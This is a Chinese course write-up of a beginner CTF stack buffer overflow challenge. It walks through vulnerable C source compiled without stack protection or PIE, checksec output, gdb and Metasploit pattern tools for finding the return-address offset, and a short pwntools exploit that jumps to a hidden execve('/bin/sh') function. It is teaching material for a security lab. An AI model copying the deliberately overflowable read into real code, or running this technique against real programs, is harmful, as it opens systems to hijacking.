文章目录
前言
这次上课添加了一些新的工具,暂时可以不用,但是建议先下载,已经补充在 环境搭建 的250616补充里了。
这一次课连上三天,四个课上作业,时间紧,任务重,我尽快更,如果有讲解错误或讲得不清楚的地方,欢迎留言。
一、使用环境
处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
二、程序源码
1. C语言源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void y0u_c4n7_533_m3()
{
execve("/bin/sh", (char *[]){0}, (char *[]){0});
}
int main()
{
char buf[16];
puts("This is your first bof challenge ;)");
fflush(stdout);
read(0, buf, 0x30);
return 0;
}
2. 编译方式
gcc bof.c -fno-stack-protector -no-pie -o bof
三、源码分析
1. execve
execve 是一个常用系统调用,核心作用是加载并执行指定路径的可执行文件,C语言的 execve 函数是对系统调用的封装。
execve 不会创建新进程,而是直接替换当前进程的映像。如果需要创建新进程,通常需要先通过 fork() 创建子进程,然后在子进程中调用 execve
函数原型:
int execve(const char *filename, char *const argv[], char *const envp[]);
filename
要执行的可执行文件的路径(绝对路径或相对路径均可)。
argv
指向命令行参数的指针数组,数组的最后一个元素必须是NULL,表示参数列表的结束。例:
char *argv[] = {"ls", "-l", "/home", NULL};
envp
指向环境变量的指针数组,每个元素是一个以 KEY=VALUE 格式表示的字符串。例:
char *envp[] = {
"PATH=/usr/bin:/bin",
"HOME=/root",
NULL
};
2. 漏洞分析
还是挺显眼的,read接受48字节,接收字符串的数组长度16字节,所以存在栈溢出漏洞,拿 shell 的函数已经准备好了,函数名叫y0u_c4n7_533_m3。
四、反汇编分析
1. 检查文件安全性
从这次开始养成一个习惯,首先使用 checksec 检查一下文件:
checksec bof
返回如下:
Arch
程序架构为x86_64,64位,小端序
RELRO
GOT表部分可写
Stack
未启用栈保护
NX
堆栈不可执行
PIE
地址固定
Stripped
调试信息未剥离
关于这块我新写了一个 手册,不懂的同学可以查阅。
没有栈保护,本来也是要做栈溢出,所以继续。
2. 查找目标函数
使用gdb启用程序,然后查看函数,这道题一眼就能看到目标函数:
记录目标地址 0x400607
,当然能用别的方法找到也可以。
3. 计算偏移量
我一向的习惯是找到栈中字符串输入的位置,再找到返回地址的位置,然后计算偏移量,可能是有点麻烦的:
找个合适的位置打断点:
运行,然后查看堆栈:
可以看到输入字符串的位置在 0x7fffffffe050
,而跳转的地址应该在 rbp
的下一个存储单元:
rbp 指向 0x7fffffffe060 ,所以跳转地址应该在 0x7fffffffe068
。
这偏移量不管是口算还是直接从内存上看出来都很容易了,就是0x18,十进制是24。
这次再尝试一个新方法,暂时仅限有 kali
的同学使用:
使用 kali 自带的 msf 插件生成字符串:
msf-pattern_create -l 100
生成了字符串:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
还是用 gdb 启动程序,把断点打在 ret 的位置:
运行程序,输入刚才 kali 中生成的字符串,运行:
此时查看 rsp 指向的内存地址中保存的值,显示为 0x6241396141386141
,然后在 kali 中执行:
msf-pattern_offset -q 6241396141386141
这样就计算出了偏移量是 24,偏移量比较大的时候这种方法会轻松很多。
五、编写EXP
有了函数地址和偏移量也就足够了,直接上代码:
from pwn import *
context.arch = "amd64"
context.os = "linux"
def exp():
offset = 24
func_addr = 0x400607
exp = b'A' * offset + p64(func_addr)
with process('./bof') as p:
p.sendlineafter(b')', exp)
p.interactive()
if __name__ == '__main__':
exp()
运行结果:
成功
结语
感谢关注评论点赞收藏,继续肝下一篇